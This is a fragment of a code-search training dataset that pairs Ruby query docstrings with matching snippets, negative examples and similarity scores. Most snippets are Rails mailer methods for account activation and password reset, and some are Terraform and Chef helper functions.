"def signup_notification(user)\n setup_email(user)\n @subject += I18n.t 'mailer.signup.subject'\n \n @body[:url] = \"http://www.dripplet.com/#{user.locale}/activate/#{user.activation_code}\"\n \n end",
"def send_activation_mail\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_mail\n UserMailer.account_activation(self).deliver_now\n end",
"def i18n_label\n \"email.#{name}_label\"\n end",
"def activation(options)\n from \"#{options[:site].support_title} <#{options[:site].email_address}>\"\n recipients options[:account].email_address\n subject options[:site].activation_subject\n content_type 'text/html'\n \n body :site => options[:site], :account => options[:account]\n end",
"def account_activation(user)\n @user=user\n\n mail :to => @user.email, :from => \"allr0undy0u@gmail.com\", :subject => \"Account activation\"\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end",
"def email_activation_confirmation(email)\n setup_email(email.user, email.address)\n @subject += 'A new email address has been activated'\n @body[:url] = \"#{SITE_URL}/\"\n end",
"def email_subject(&blk)\n @email_subject_block = blk if blk\n @email_subject_block\n end",
"def send_activation_email\n UserMailer.account_activation(self).deliver_now\n end"
] | [
"0.661661",
"0.66157335",
"0.66091734",
"0.6607639",
"0.66059273",
"0.65407974",
"0.64996886",
"0.64913183",
"0.64067274",
"0.6397239",
"0.6349244",
"0.634307",
"0.63418543",
"0.6336745",
"0.63333845",
"0.62989044",
"0.6283756",
"0.6230694",
"0.62289786",
"0.6189513",
"0.615164",
"0.6136843",
"0.6105597",
"0.610446",
"0.6096629",
"0.60875934",
"0.6057679",
"0.6024655",
"0.60232633",
"0.60111964",
"0.60031193",
"0.60031193",
"0.60031193",
"0.60031193",
"0.60031193",
"0.60031193",
"0.60031193",
"0.60031193",
"0.6002458",
"0.6002458",
"0.6002458",
"0.6002458",
"0.600099",
"0.59994584",
"0.59949243",
"0.5965649",
"0.5934423",
"0.59292567",
"0.592287",
"0.59069395",
"0.59032243",
"0.5899521",
"0.58987224",
"0.58972627",
"0.5881258",
"0.5867456",
"0.5867456",
"0.5867456",
"0.5867456",
"0.5867456",
"0.5867456",
"0.5855186",
"0.58469486",
"0.5842011",
"0.5841285",
"0.58341354",
"0.58021337",
"0.5797251",
"0.5762369",
"0.5757627",
"0.5753084",
"0.57484746",
"0.57456994",
"0.57418764",
"0.5741081",
"0.5738063",
"0.57311726",
"0.57308394",
"0.57286656",
"0.5725712",
"0.57195973",
"0.57161605",
"0.57161605",
"0.5700532",
"0.56973565",
"0.5672818",
"0.5657606",
"0.5657606",
"0.5657606",
"0.5657606",
"0.5657606",
"0.5657606",
"0.5657606",
"0.5657606",
"0.5657606",
"0.5657606",
"0.56457764",
"0.56427354",
"0.5637859"
] | 0.5737796 | 77 |
Subject can be set in your I18n file at config/locales/en.yml with the following lookup: en.user_mailer.password_reset.subject | def password_reset(user)
@user = user
mail to: user.email, subject: "Password reset"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def password_reset(user)\n @user = user\n mail :to => user.email, :subject => I18n.t(\"reset_password\")\n end",
"def forgot_password(user)\n setup_email(user)\n subject \"Password Reset\"\n end",
"def reset_password(user)\n @recipients = user.email\n @from = \"#{Site.current.email}\"\n @body [\"name\"] = user.login\n @subject = 'Your password has been reset'\n end",
"def password_reset_notice (email, accounts)\n @from = Bolt::Config.email_from\n @recipients = email\n @subject = \"Reset your password for #{Bolt::Config.application_name}\"\n @body = {:accounts => accounts}\n end",
"def notify_password_reset!\n with_user_locale do\n reset_single_access_token!\n UserMailer.password_reset(self).deliver!\n end\n end",
"def reset_password_email(user)\n @user = User.find user.id\n @url = edit_password_reset_url(@user.reset_password_token)\n mail(to: user.email,\n subject: \"[Fjord Bootcamp] #{I18n.t(\"your_password_has_been_reset\")}\")\n end",
"def password_reset_mail(user)\n subject \"Password Reset Instructions\"\n from \"sender_email_id@test.com\"\n recipients user\n content_type \"text/html\"\n sent_on Time.now\n body \"RESET your Password\"\n end",
"def reset_password_email(user)\n @user = user\n @password_reset_url = edit_password_reset_url(user.reset_password_token)\n mail to: user.email, subject: \"Reset your VCDelta.org password\"\n end",
"def password_reset(user)\n mail_to user, password_reset_subject\n end",
"def subject\n @mail.subject\n end",
"def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Återställning av ditt lösenord på Biblion.\"\n end",
"def reset_password_email(user)\n @user = user\n @url = edit_password_reset_url(@user.reset_password_token)\n @subject = \"[#{SITE_NAME}] Password reset request\"\n mail(bcc: @user.email, subject: @subject)\n end",
"def reset_password_email(user)\n @user = User.find(user.id)\n @url = edit_password_reset_url(@user.reset_password_token)\n mail(:to => user.email,\n :subject => \"パスワードリセットのご案内\")\n end",
"def reset_password_email\n UserMailer.reset_password_email(User.first)\n end",
"def password_reset(user)\n @user = user\n\n mail to: user.email, subject: t(:mailer_user_password_reset_subject)\n end",
"def password_reset(user)\n @user = user\n mail :to => user.email#, :subject => t(\"Password_Reset\")\n end",
"def get_email_subject(email_type)\n email_subject = email_type\n case(email_type)\n when \"welcome\"\n email_subject = \"Welcome to Aspera Files\"\n when \"reset\"\n email_subject = \"Password Reset\"\n end\n return email_subject\n end",
"def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end",
"def message_subject=(value)\n @message_subject = value\n end",
"def password_reset( user )\n @user = user\n mail( to: @user.email, subject: 'Restablecer contraseña Happitch' )\n end",
"def password_reset(teacher)\n @teacher = teacher\n mail to: teacher.email, subject: \"Password reset\"\n end",
"def subject\n self['subject'] || msg['subject']\n end",
"def reset_password\n [send_email(MailPart.new_subject(I18n.t('devise.mailer.reset_password_instructions.subject')),\n nil,\n MailPart.new_body(''),\n EmailStuff::TYPES[:reset_password],\n reset_pass_call),\n @candidate_mailer_text.token]\n end",
"def reset_notification(user)\n\t\tsetup_email(user)\n\t\tsubject self.site_name+\" : \"+I18n.t('mailer.reset_notification.subject')\n\t\tbody :url => self.daurl+\"/admin/reset_password/#{user.password_reset_code}\",\n\t\t\t:user_login => user.login,\n\t\t\t:site => self.site_name\n end",
"def student_password_reset\n StudentMailer.student_password_reset\n end",
"def reset_password_instructions(resource, token, _options)\n @resource = resource\n @token = token\n mail(\n to: resource.email,\n subject: ['¿Solicitaste un cambio de contraseña en tus servicios de ',\n 'GurúComm?'].join('')\n )\n end",
"def send_password_reset_email\r\n UserMailer.password_reset(self).deliver!\r\n end",
"def password_reset\n UserMailMailer.password_reset\n end",
"def password_reset(user)\n @user = user\n\n mail :to => user.email, :subject => t(:password_recover)\n end",
"def password_reset\n AccountMailer.password_reset\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"def reset_password(user)\n setup_email(user)\n subject \"Password reset link\"\n\n body :user => user, :host => FROM_HOST\n end",
"def reset_password_email\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def reset_password_instructions(user)\n @resource = user\n mail(:to => @resource.email,\n :subject => \"Reset password instructions\",\n :tag => 'password-reset',\n :content_type => \"text/html\") do |format|\n format.html { render \"devise/mailer/reset_password_instructions\" }\n end\n end",
"def email_welcome_and_pass\r\nold_gt = I18n.locale\r\nI18n.locale = self.language unless self.language.blank?\r\nUserMailer.deliver_account_infos(self, @password) # Uniq time with decoded password\r\nI18n.locale = old_gt\r\nend",
"def send_password_reset_email\n \t\tUserMailer.password_reset(self).deliver_now\n \tend",
"def reset_password(user, reset_link)\r\n recipients user.email\r\n from system_email(reset_link)\r\n subject \"#{subject_prefix}Forgotton Password\"\r\n body :user => user, :reset_link => reset_link\r\n end",
"def password_reset(user)\n @user=user\n mail(:to=>@user.email,:subject=>\"Hey there! Thanks for using instaprint\")\n#mail (:to=>@user.email,:from=>'basics.aki@gmail.com',:subject=>\"Please find the password reset instructions\")\n end",
"def password_reset(user)\n @user = user\n # missing \"from: \"norply@example.com\"\" -> error\n mail to: user.email, subject: \"Password reset\"\n end",
"def password_reset(user)\n @user = user\n mail :to => user.email, :subject => \"Password reset for Project Help\"\n end",
"def password_reset\n #@greeting = \"Pershendetje\"\n\n #mail to: \"to@example.org\"\n end",
"def subject\n @options.fetch(:subject) { \"Invitation\" }\n end",
"def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset for TechScreen.net\"\n end",
"def password_reset\n UserMailer.password_reset\n end",
"def password_reset\n UserMailer.password_reset\n end",
"def password_reset\n UserMailer.password_reset\n end",
"def send_password_reset_email\n \t\tUserMailer.password_reset(self).deliver_now\n \tend",
"def password_reset(user)\n @user = user\n mail(:to => user.email, :subject => \"Password Reset\", :from => 'bassoonfingeringfinder@gmail.com') \n \n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def send_password_reset_email\n\t UserMailer.password_reset(self).deliver_now\n\tend",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def password_reset(user)\n #@greeting = \"Hi\"\n @user = user\n #mail to: user.email, subject: \"Password Reset\"\n mail to: user.email, subject: 'Welcome to Project Quest!'\n end",
"def password_reset(user)\n @user = user\n\n mail to: user.email, subject: 'Password Reset Instructions for Application'\n end",
"def password_reset\n MailerMailer.password_reset\n end",
"def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset\"\n end",
"def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset [Delfy]\", from: \"Delfy <noreply@delfy.us>\"\n end",
"def subject (recipient)\n subject_variables = alert_variables[:subject].dup\n subject_variables.merge!(recipient_details(recipient))\n subject = \"#{I18n.t(\"#{recipient_type.to_s}_subject_#{alert_name.to_s}\", subject_variables)}\"\n subject\n end",
"def send_password_reset_email\n\t UserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n \tUserMailer.password_reset(self).deliver_now\n end",
"def password_reset(user)\n @user = user\n mail to: user.username, subject: \"Umedoc Password Reset\"\n end",
"def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"def send_password_reset_mail\n UserMailer.password_reset(self).deliver_now\n end",
"def reset_password_instructions(user)\n @user = user\n setup_mail(:reset_password_instructions, :headers => {:to => @user.email})\n end",
"def send_password_reset_email\r\n UserMailer.password_reset(self).deliver_now\r\n end",
"def send_password_reset_email\r\n UserMailer.password_reset(self).deliver_now\r\n end",
"def send_password_reset_email\r\n UserMailer.password_reset(self).deliver_now\r\n end",
"def subject\n @subject ||= Envelope::MessageTools.normalize(message.subject || '')\n end",
"def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password Reset\"\n end",
"def password_reset(user)\n @user = user\n mail to: user.email, :subject => \"Password Reset\"\n end",
"def password_reset(user)\n @user = user\n mail to: user.email, subject: 'Password reset'\n # @greeting = \"Hi\"\n # mail to: \"to@example.org\"\n end",
"def reset_password\n @user = User.last\n @user.password_reset_token = \"12345\"\n @user.password_reset_sent_at = Time.zone.now\n mail = UserMailer.reset_password(@user)\n end",
"def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"def reset_password_email(user)\n @user = user\n @url = edit_forgot_password_url(user.reset_password_token)\n mail(to: user.email,\n subject: \"Your ClosetGroupie password has been reset\")\n end",
"def password_reset(user)\n @user = user\n\n mail to: user.email, subject: \"Password Reset\"\n end",
"def send_password_reset_email\n PasswordResetMailer.password_reset_email(self).deliver\n end",
"def send_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def send_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"def forgot_password(user)\n @recipients = user.email\n @from = \"#{Site.current.email}\"\n @subject = 'Request to change your password'\n @body [\"name\"] = user.login\n @body[\"url\"] = \"http://#{Site.current.domain}/reset_password/#{user.reset_password_code}\" \n end",
"def send_password_reset_email\n UserMailer.reset_senha(self).deliver_now\n end",
"def password_reset\n PenggunaMailer.password_reset\n end",
"def send_password_reset_email\n UserMailer.password_reset(self.class.name.to_s.downcase.pluralize, self).deliver_now\n logger.info \"email: admin password reset sent to #{email}\"\n end"
] | [
"0.6849209",
"0.6812218",
"0.67440695",
"0.6704444",
"0.66813886",
"0.6637522",
"0.65938175",
"0.6573038",
"0.65559816",
"0.650747",
"0.6482231",
"0.6470183",
"0.64564645",
"0.6451043",
"0.6443142",
"0.6412122",
"0.64092064",
"0.64008343",
"0.6397685",
"0.6389013",
"0.63878083",
"0.63792974",
"0.63439816",
"0.63391984",
"0.6331588",
"0.6324979",
"0.6318032",
"0.6317806",
"0.63168275",
"0.6315531",
"0.63118255",
"0.63118255",
"0.63118255",
"0.63118255",
"0.63118255",
"0.63118255",
"0.63104403",
"0.6302011",
"0.62918204",
"0.6289796",
"0.62857985",
"0.6283414",
"0.6281439",
"0.62768567",
"0.62759686",
"0.6270652",
"0.62639475",
"0.62601423",
"0.6258937",
"0.6258937",
"0.6258937",
"0.6258908",
"0.62400365",
"0.6236919",
"0.6236341",
"0.62359554",
"0.62346524",
"0.62342966",
"0.6233432",
"0.62294626",
"0.6227749",
"0.62260634",
"0.62108743",
"0.62046325",
"0.6195358",
"0.6193644",
"0.6193644",
"0.6193644",
"0.6193644",
"0.6193644",
"0.6193644",
"0.6193644",
"0.6193644",
"0.6193644",
"0.619082",
"0.6187963",
"0.61875993",
"0.61814183",
"0.61814183",
"0.6180705",
"0.6177114",
"0.61766326",
"0.6174878",
"0.6172521",
"0.617037",
"0.6163975",
"0.6162629",
"0.6162124",
"0.6160468",
"0.6160431",
"0.6155268",
"0.6155268",
"0.6150653",
"0.6148025",
"0.6147474",
"0.61470884"
] | 0.6201523 | 68 |
TODO(dtan4): Use terraform's utility method | def apply_template(client)
ERB.new(open(template_path).read, nil, "-").result(binding)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_terraform_output\n {\n 'chef_server_ip' => `terraform output chef-server-ip`.chomp,\n 'chef_server_dns' => `terraform output chef-server-private-dns`.chomp,\n 'test_db_ip' => `terraform output test-db-ip`.chomp,\n 'test_db_dns' => `terraform output test-db-private-dns`.chomp,\n 'test_app_ip' => `terraform output test-app-ip`.chomp,\n 'test_app_dns' => `terraform output test-app-private-dns`.chomp\n }\nend",
"def taint_rds_password(namespace, rds_name)\n target = \"module.#{rds_name}.random_password.password\"\n system \"cd #{tfdir(namespace)}; terraform taint #{target}\"\nend",
"def terraform_bin\n OS.locate('terraform')\n end",
"def usage\n puts <<EOF\nUsage:\n #{__FILE__} resource_type.resource_name resource_id [other terraform's parameters]\nEquivalent of:\n terraform import resource_type.resource_name resource_id [other parameters]\nIssues:\n Delete terraform.tfstate before run\nEOF\n exit 1\nend",
"def puppet_resource_cmd\n UtilityLib::PUPPET_BINPATH + 'resource cisco_X__RESOURCE_NAME__X'\nend",
"def load_current_resource\n # Chef 12 @current_resource = Chef::Resource::IbmCloudUtilsSelinux.new(@new_resource.name)\n @current_resource = Chef::Resource.resource_for_node(:ibm_cloud_utils_selinux, node).new(@new_resource.name)\n cmnd = shell_out('getenforce')\n @current_resource.status(cmnd.stdout.chomp.downcase)\nend",
"def terraform_ref?\n /^\\${[a-zA-Z0-9\\._-]+}$/.match(vpn_connection_id)\n end",
"def check_terraform_applied\n raise Kite::Error, 'Did you terraform apply? terraform.tfstate is missing!' unless File.file? \"terraform/terraform.tfstate\"\n end",
"def already_init?\n terraform = \"#{@mod.cache_dir}/.terraform\"\n provider = Dir.glob(\"#{terraform}/**{,/*/**}/*\").find do |path|\n path.include?(\"terraform-provider-\")\n end\n !!provider\n end",
"def validate(template)\n begin\n template = YAML.load_file(template)\n\n raise 'Name not found' unless template['name']\n\n OneProvision::Terraform.p_load\n\n unless OneProvision::Terraform.exist?(template['provider'])\n raise 'Invalid provider, available providers: ' \\\n \"#{OneProvision::Terraform.providers.join(', ')}\"\n end\n\n return template if template['provider'] == 'onprem'\n\n raise 'Connection info not found' unless template['connection']\n\n template\n rescue StandardError => e\n OpenNebula::Error.new(\"ERROR: #{e}\")\n end\n end",
"def load_current_resource\n # CHEF 12 @current_resource = Chef::Resource::WasManagesdk.new(@new_resource.name)\n @current_resource = Chef::Resource.resource_for_node(:was_managesdk, node).new(@new_resource.name)\n #A common step is to load the current_resource instance variables with what is established in the new_resource.\n #What is passed into new_resouce via our recipes, is not automatically passed to our current_resource.\n #Get current state\n @current_resource.sdkNewProfileDefault = check_sdk?('getNewProfileDefault')\n @current_resource.sdkCommandDefault = check_sdk?('getCommandDefault')\nend",
"def get_resource_name_and_module_version(tf_file, module_name)\n name = version = \"\"\n\n lines = File.readlines(tf_file)\n\n lines.grep (/module /) { |l| name = $1 if l =~ /\"(.*)\"/ }\n lines.grep (/#{module_regex(module_name)}/) { |l| version = $1 if l =~ /ref=(.*)\"/ }\n\n [name, version]\nend",
"def resource_attributes\n %w(\n auth_users\n comment\n dont_compress\n exclude\n exclude_from\n fake_super\n gid\n hosts_allow\n hosts_deny\n include\n include_from\n incoming_chmod\n list\n lock_file\n log_file\n log_format\n max_connections\n munge_symlinks\n numeric_ids\n outgoing_chmod\n path\n postxfer_exec\n prexfer_exec\n read_only\n refuse_options\n secrets_file\n strict_modes\n timeout\n transfer_logging\n uid\n use_chroot\n write_only\n )\nend",
"def terraform(action, dir)\n Dir.chdir(dir)\n exit_status = system(\"terraform #{action} -auto-approve\")\n Dir.chdir(\"..\")\n return exit_status\nend",
"def generate_resource_tests(pwd, data) end",
"def module_regex(module_name)\n \"github.com\\\\/ministryofjustice\\\\/cloud-platform-terraform-#{module_name}.ref=...\"\nend",
"def bare_resource(resource)\n inner_name = \"bare_#{resource.name}\"\n inner_path = bare_d.join(\"#{resource.name}.conf\").to_s\n return inner_name, inner_path\n end",
"def getresource(resourcespec)\n terms = resourcespec.split(Split_Regex)\n raise \"Invalid resource specifier, no separators in #{resourcespec}\" unless terms.count > 1\n resource = terms.pop()\n res_type = nil\n property = nil\n if resource =~ /=/\n resource, res_type = resource.split('=')\n end\n if resource =~ /\\./\n resource, property = resource.split('.')\n end\n stack = terms.join(':')\n resources = getresources(stack)\n match = resource.match(Loc_Regex)\n if match\n if res_type\n raise \"Location specifier given for non-subnet resource type: #{res_type}\" unless res_type == \"AWS::EC2::Subnet\"\n end\n matching = []\n subnets = []\n re = Regexp.new(\"#{match[1]}.#{match[3]}\")\n loc = match[2]\n resources.keys.each do |key|\n if key.match(re)\n resource, type = resources[key].split('=')\n next unless type == \"AWS::EC2::Subnet\"\n matching.push(key)\n subnets.push(resource)\n end\n end\n matching.sort!()\n case loc\n when \"F\"\n return resources[matching[0]].split('=')[0]\n when \"L\"\n return resources[matching[-1]].split('=')[0]\n when \"?\"\n return resources[matching.sample()].split('=')[0]\n when /[a-j]/\n sn = @mgr.ec2.client.describe_subnets({ subnet_ids: subnets })\n sn.subnets.each do |subnet|\n if subnet.availability_zone.end_with?(loc)\n return subnet.subnet_id\n end\n end\n raise \"No subnet found with availability zone #{loc} for #{resource}\"\n else\n i=loc.to_i()\n raise \"Invalid location index #{i} for #{resource}\" unless matching[i]\n return resources[matching[i]].split('=')[0]\n end\n else\n raise \"CloudFormation resource not found: #{resourcespec}\" unless resources[resource]\n value, type = resources[resource].split('=')\n if res_type\n raise \"Resource type mismatch for #{resourcespec}, type for #{resource} is #{type}\" unless type == res_type\n end\n if property\n return @mgr.get_resource_property(type, value, property)\n end\n return value\n end\n end",
"def ec2_resource(region)\n begin\n ec2 = Aws::EC2::Resource.new(region: region)\n rescue => e\n puts e\n exit\n end\nend",
"def derive_resource_code\n resource_string = self.region_code.to_s + self.name.to_s\n deterministic_hash(resource_string)\n end",
"def tf_state_replace\n if terraform_executable.match(/terraform0.13/) && Dir.glob(\"#{tf_dir}/*pingdom*.tf\").size>0\n cmd = \"#{terraform_executable} state replace-provider -auto-approve registry.terraform.io/-/pingdom registry.terraform.io/russellcardullo/pingdom\"\n log(\"blue\", \"replacing pingdom provider for namespace #{namespace} in #{cluster}\") \n execute(\"cd #{tf_dir}; #{cmd}\")\n end\n end",
"def load_current_resource\n\n @current_lb = load_balancer_by_name(new_resource.lb_name)\n\n @current_resource = Chef::Resource::LbLoadBalancer.new(new_resource.lb_name)\n @current_resource.lb_name(new_resource.lb_name)\n @current_resource.aws_access_key(new_resource.aws_access_key)\n @current_resource.aws_secret_access_key(new_resource.aws_secret_access_key)\n @current_resource.region(new_resource.region)\n @current_resource.listeners(new_resource.listeners)\n @current_resource.timeout(new_resource.timeout)\n\n if @current_lb\n @current_resource.availability_zones(@current_lb['AvailabilityZones'])\n @current_resource.instances(@current_lb['Instances'])\n end\n @current_resource.availability_zones || @current_resource.availability_zones([])\n @current_resource.instances || @current_resource.instances([])\n\n if new_resource.instances.nil? && new_resource.search_query\n new_resource.instances(search(:node, new_resource.search_query).map { |n| n['ec2']['instance_id']})\n end\n\n all_zones = availability_zone_for_instances(new_resource.instances)\n unique_zones = all_zones.compact.uniq\n\n if new_resource.availability_zones.nil?\n new_resource.availability_zones(unique_zones)\n end\nend",
"def load_current_resource\n # quick & dirty os detection\n @sysctl_args = case node[:os]\n when 'GNU/Linux', 'Linux', 'linux'\n '-n -e'\n else\n '-n'\n end\n\n # clean up value whitespace when its a string\n @new_resource.value.strip! if @new_resource.value.class == String\n\n # find current value\n _status, @current_value, _error_message = output_of_command(\n \"#{@sysctl} #{@sysctl_args} #{@new_resource.name}\", ignore_failure: true)\n\n Chef::Log.info \"#{new_resource.name} -> #{@current_value} := #{new_resource.value}\"\nend",
"def taint() end",
"def tf_vars_aws\n {\n aws_region: provider.region,\n route53_zone_main_name: infra.dns.domain,\n route53_zone_this_name: infra.dns.subdomain,\n ec2_instance_type: provider.instance.type,\n ec2_key_pair: provider.instance.key_pair,\n ec2_tags: provider.instance.tags,\n ec2_ami_distro: provider.instance.ami_distro\n # lambda_filename: infra.lambda_filename\n }\n end",
"def load_current_resource\n @current_resource = Chef::Resource::PerforceP4.new(new_resource.name)\n @current_resource.directory new_resource.directory\nend",
"def secrets=(_arg0); end",
"def secrets=(_arg0); end",
"def service_name\n resource[:name]\n end",
"def check_non_templates(manifest)\n manifest['configuration']['templates'].each do |property, template|\n empty = Common.parameters_in_template(template).length == 0\n\n next unless empty\n STDOUT.puts \"global role manifest template #{property.red} is used as a constant\"\n @has_errors += 1\n end\nend",
"def path_boot\n case node['platform']\n when \"exherbo\", \"ubuntu\", \"arch\"\n return \"/etc/modules-load.d/#{new_resource.name}.conf\"\n when \"debian\", \"ubuntu\"\n return \"/etc/modules\"\n end\nend",
"def version\n @version ||= begin\n m = /^Terraform v(?<version>[^\\s]+)/.match(`terraform version`)\n m && m[:version]\n end\n rescue Errno::ENOENT\n nil\n end",
"def read_resource(resource)\n resource\n end",
"def read_resource(resource)\n resource\n end",
"def resource_template(name)\n \"#{resource}_#{name}\"\n end",
"def terraform_docs_bin\n @terraform_docs_bin ||= ::File.join(bin_root, \"#{terraform_docs_name}-#{terraform_docs_version}\" ,terraform_docs_name)\n end",
"def resource_type\n \"b\"\n end",
"def load_current_resource\n @current_resource = Chef::Resource.resource_for_node(:opennms_send_event, node).new(@new_resource.name)\n @current_resource.uei(@new_resource.uei)\n @current_resource.parameters(@new_resource.parameters) unless @new_resource.parameters.nil?\nend",
"def convert24(bucket)\n if bucket.class == Puppet::TransBucket\n bucket.each do |b|\n convert24(b)\n end\n elsif bucket.class == Puppet::TransObject\n manifestfile = bucket.file.gsub(\"/etc/puppet/manifests/\", \"\")\n\n resource = {:type => bucket.type,\n :title => bucket.name,\n :parameters => {}}\n\n bucket.each do |param, value|\n resource[:parameters][param.to_sym] = value\n end\n\n\n # remove some dupe properties that 24 tends to put in\n # that 25 onward doesnt. This isnt great since some people\n # do specify both even when they're the same, for those it\n # will raise false positives but I guess the bulk use case\n # is being catered for here\n [:name, :command, :path].each do |property|\n if resource[:parameters].include?(property)\n if resource[:title] == resource[:parameters][property]\n resource[:parameters].delete(property)\n end\n end\n end\n\n # Fix up some other weird resources like File in 24 that used\n # name but now use path\n if resource[:type] == \"file\" && resource[:parameters].include?(:name)\n resource[:parameters][:path] = resource[:parameters][:name]\n resource[:parameters].delete(:name)\n end\n\n [:subscribe, :require, :notify, :before].each do |property|\n if resource[:parameters].include?(property)\n resource[:parameters][property] = convert24_resource_array(resource[:parameters][property].clone)\n end\n end\n\n if resource[:parameters].include?(:content)\n resource[:parameters][:content] = Digest::MD5.hexdigest(resource[:parameters][:content])\n end\n\n resource[:resource_id] = \"#{bucket.type.downcase}[#{bucket.name}]\"\n @resources << resource\n end\nend",
"def rsync_modules\n rsync_resources.each_with_object({}) do |resource, hash|\n next unless resource.config_path == new_resource.config_path && (\n resource.action == :add ||\n resource.action.include?(:add)\n )\n hash[resource.name] ||= {}\n resource_attributes.each do |key|\n value = resource.send(key)\n next if value.nil?\n hash[resource.name][attribute_to_directive(key)] = value\n end\n end\nend",
"def convert25(resource)\n if resource.class == Puppet::Resource::Catalog\n resource.edges.each do |b|\n convert25(b)\n end\n elsif resource.class == Puppet::Relationship and resource.target.class == Puppet::Resource and resource.target.title != nil and resource.target.file != nil\n target = resource.target\n manifestfile = target.file.gsub(\"/etc/puppet/manifests/\", \"\")\n\n resource = {:type => target.type,\n :title => target.title,\n :parameters => {}}\n\n target.each do |param, value|\n resource[:parameters][param] = value\n end\n\n if resource[:parameters].include?(:content)\n resource[:parameters][:content] = Digest::MD5.hexdigest(resource[:parameters][:content])\n end\n\n resource[:resource_id] = \"#{target.type.downcase}[#{target.title}]\"\n @resources << resource\n end\nend",
"def check_resource_semantics!; end",
"def sensitive(value)\n RSpec::Puppet::Sensitive.new(value)\nend",
"def load_current_resource\n require 'webhdfs'\n\n #\n # Not taking the typical approach of creating a current_resource will make\n # this LWRP usable with any cookbook without changes. We are creating \n # instance variables for each attribute which would be available in the\n # @current_resource object if we had created one.\n #\n #-- @current_resource = Chef::Resource::BcpcHdfsdir.new(new_resource.name)\n new_resource.user == nil ? @user = ENV['USER'] : @user = new_resource.user\n nnaddress = new_resource.namenode\n nnport = new_resource.nnport\n @client = WebHDFS::Client.new(nnaddress,nnport,@user)\n if (!validnn?())\n raise RuntimeError, \"Invalid namenode provided or HDFS not available\"\n end\n @omode = new_resource.mode\n new_resource.mode == nil ? @mode = \"0750\" : @mode = new_resource.mode\n @path = new_resource.path\n @tpath = new_resource.tpath\n @tgroup = new_resource.tgroup\n @tuser = new_resource.tuser\n end",
"def render_defaults\n template '/etc/default/haproxy' do\n cookbook 'consul-haproxy'\n source 'haproxy_defaults.erb'\n mode '0644'\n action :create\n end\nend",
"def resource_template\n @resource_template ||= Array.wrap(super).map(&:deep_symbolize_keys)\n end",
"def apply(resource)\n [:one, :two, :ensure, :target].each do |st|\n Puppet.info \"Setting #{resource[:name]}: #{st} => #{resource.should(st)}\"\n resource.provider.send(st.to_s + \"=\", resource.should(st))\n end\n end",
"def check_resource! resource \n resources.include?(resource.to_s) ? resource_parsed(resource) : raise(\"resource should be in [tags, posts, bundles]\") \n end",
"def source_credit\n :\"source_credit_#{source}\" if source.present?\n end",
"def add_file(filename)\n cookbook_file '/var/opt/dynatrace-managed/sources/' + filename do\n source '' + filename\n owner node['dynatrace-quickstart-gcp']['user']\n group node['dynatrace-quickstart-gcp']['user']\n mode '644'\n action :create\n end\nend",
"def update_provider(file, owner, repo)\n # It looks like the last version is always at the end\n # This saves one HTTP request to owner/repo\n last_version_data = http_get(\"#{owner}/#{repo}/versions\")[\"versions\"].last\n\n version = last_version_data[\"version\"]\n\n archSrc = last_version_data[\"platforms\"].inject({}) do |sum, data|\n arch = data[\"arch\"]\n os = data[\"os\"]\n nix_arch = ARCH_TO_NIX[arch]\n nix_os = OS_TO_NIX[os]\n if nix_arch && nix_os then\n sum[\"#{nix_arch}-#{nix_os}\"] = get_version(owner, repo, version, os, arch)\n end\n sum\n end\n\n data = {\n archSrc: archSrc,\n owner: owner,\n repo: repo,\n version: version,\n }\n\n File.write(file, <<NIX)\n{ mkTerraformProvider }:\nmkTerraformProvider #{to_nix data}\nNIX\nend",
